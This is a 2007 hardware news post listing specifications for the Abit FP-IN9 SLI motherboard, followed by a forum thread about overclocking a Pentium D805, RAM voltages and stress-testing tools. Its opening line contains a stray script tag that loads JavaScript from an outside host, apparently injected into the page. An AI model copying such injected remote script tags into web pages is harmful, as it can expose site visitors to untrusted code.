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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 29/03/07
Author: PV5150
Source: VR-Zone

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It appears that abit are pushing their Fatal1ty range of motherboards now just as much as their Max series. Although, the Fatality Line of Motherboards are targeted mainlytowards gamers who are more budget conscious. One of the latest additions to the Fatality range is the Abit FP-IN9 SLI Motherboard, based on the NVIDIA 650i SLI Chipset, and capable of running x8 x8 SLI Dual Graphics Card configuration.


CPU   Supports LGA775 Intel® Core™2 Duo, Core™2 Quad, Core™2 Extreme, Pentium® Dual-Core, Pentium® Extreme Edition, Pentium® D & Pentium® 4 Processors with 1066/800MHz FSB
Chipset   NVIDIA® nForce® 650i SLI™
Form Factor  
ATX form factor 305 x 245mm
PCB Color: Red
Memory   4 x 240-pin DIMM sockets support max. memory capacity 32GB
Supports Dual channel DDR2 800/667/533 Un-buffered Non-ECC memory
LAN   Native Gigabit Ethernet controller supports 10/100/1000Mbit LAN connections
Audio   7.1 CH HD Audio CODEC
Supports Auto Jack Sensing and optical S/PDIF Out
Expansion Slots   2 x PCI-E X16, 2 x PCI-E X1, 2 x PCI
Internal I/O   1 x Floppy Port supports up to 2.88 MB
2 x ATA 133/100/66/33 IDE connectors
4 x SATA 3Gb/s connector
2 x USB header (supports 4 additional ports)
1 x FP-Audio
Quick Power On & Reset buttons

Back Panel I/O   1 x PS/2 Keyboard, 1 x PS/2 Mouse
1 x S/P DIF Out
7.1 CH Audio connector (Front, Line-in, MIC-in, Center/Subwoofer, Surround, Rear Surround)
4 x USB 2.0, 1 x RJ-45 LAN connector

Serial ATA   NVIDIA® NF430: 4 x SATA 3Gb/s supports NVIDIA® MediaShield™ RAID with SATA RAID 0/1/0+1/5 and JBOD
Supports AHCI, NCQ
Voltages   VCore up to 1.7V
VDIMM up to 2.5V
VNB up to 1.58V
VTT up to 1.65v

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30-03-2007, 10:18:38

thanks... what is a good temp and how high should i go with the voltage on my cpu?

EDIT: i have this cooler, http://www.newegg.com/Product/Product.aspx?Item=N82E16835103013

30-03-2007, 11:11:51

30C at idle is good, so that HSF is doing what it should be doing... keeping your cpu COOL. How high your load temps are is another matter; if they're going above 50C at stock speed/voltage, not too good. (I won't lie to you, I don't know the stock speeds or voltages of the D805, nor do I have the time to research them right now... google away, you'll find your answers.)

You should keep your voltage as low as possible while maintaining a stable system. Adding voltage creates more heat, so only up the voltage if you plan to increase cpu speed.

What I do to stress my cpu and make sure its g2g (good to go):
1) SuperPi
2) CPU Burn-in (with dual-core cpus run two seperate instances simultaneously. This will provide %100 cpu utilization, use 'max heat generation' setting.)
3) 3DMark05 and then 3DMark06 (good for stressing both cpu(s) and gpu(s), if your pc has a problem this is the first stressor that will catch it.)
4) Prime95- with dual-core cpus set the 'affinity' to 0 for the first instance, and 1 for the second instance; you'll be running two Prime95's at once, and this will completely stress and heat your pc, more heat than CPU Burn-in. If you overclock and this fails, back your speed down until you can run this for at least a couple hours, I try for 6+ hours, most people don't call a system stable if it can't run for 24 hours.

Have fun...


30-03-2007, 11:44:55

For running prime for stress testing, I use Orthos. It runs dual or single thread (depending on CPU) automaticly, so there's no special setup.


30-03-2007, 16:44:09

i've done orthos and it is stable.. at 3.5ghz i just dont know how high i can raise my ram voltage to.. it is ddr2 667mhz and i dont know how high to go cause i need a little more juice and it will be running at 700mhz..

EDIT: T6UB1GC5 is the model number

01-04-2007, 20:01:25

Check the specs out, is stock voltage 1.8-2.0? If so, you should be able to jump it up to 2.2V no sweat; some people take it up to 2.3V, and I have as well with no problems, though I like to stick with 2.25V. Again, the lowest you can take it is what you want, so just test it at each voltage raise until stable.


06-04-2007, 08:40:16


06-04-2007, 08:46:09

Use core temp for your temps thats what gives me the best temps. Everest is way off for me.

06-04-2007, 10:53:21

oooooo..........i missed this thread......

i too, have a D805, so......i might chip in in what i know about it.....

first of all, if your CPU runs hot....and hot mean topping 70c on load.....dont worry about it, its meant to be hot, lol

here's my spec
D805@4Ghz@1.5v@47c-idle(on a cold day, and 70c+ load (stock 2.66Ghz......for those who dont know....)
P5WD2 Premium
2x2x512mb Corsair 5400UL@2.2v@1:2@800mhz

i've taken this CPU to hell and back, but it still run strong, tho im not using it at the moment due to a dead GFX......bum....

also, there really isnt any software out there that can tell you how hot your CPU really is, all these Core Temp(dont work), TAT(dont work), Speedfan, Everest etc etc is no better than the one in your Bios.

all the temp i take from, is Asus Probe, and i take it with a pinch of salt...

look at it this way, if you can run Orthos for 18hrs, then thats good enough, at the end of the day, its only a budget CPU, and if it dies, upgrade to C2D.

dont worry too much, these D805 are rock hard, lol

09-04-2007, 07:37:51

sweat.. what do u have for cooling?
EDIT: nvm i saw u have watercooling... i have listed the cooler in this thread.. do u think i can get to 4 ghz?

09-04-2007, 19:44:41


sweat.. what do u have for cooling?
EDIT: nvm i saw u have watercooling... i have listed the cooler in this thread.. do u think i can get to 4 ghz?


that cooler you using.......it looks just like a intel reference heatsink....

you can TRY booting up at 4Ghz with that heatsink.....and see how hot your CPU gets (i tried that with mine, at idle its 60c+, lol)

good luck!

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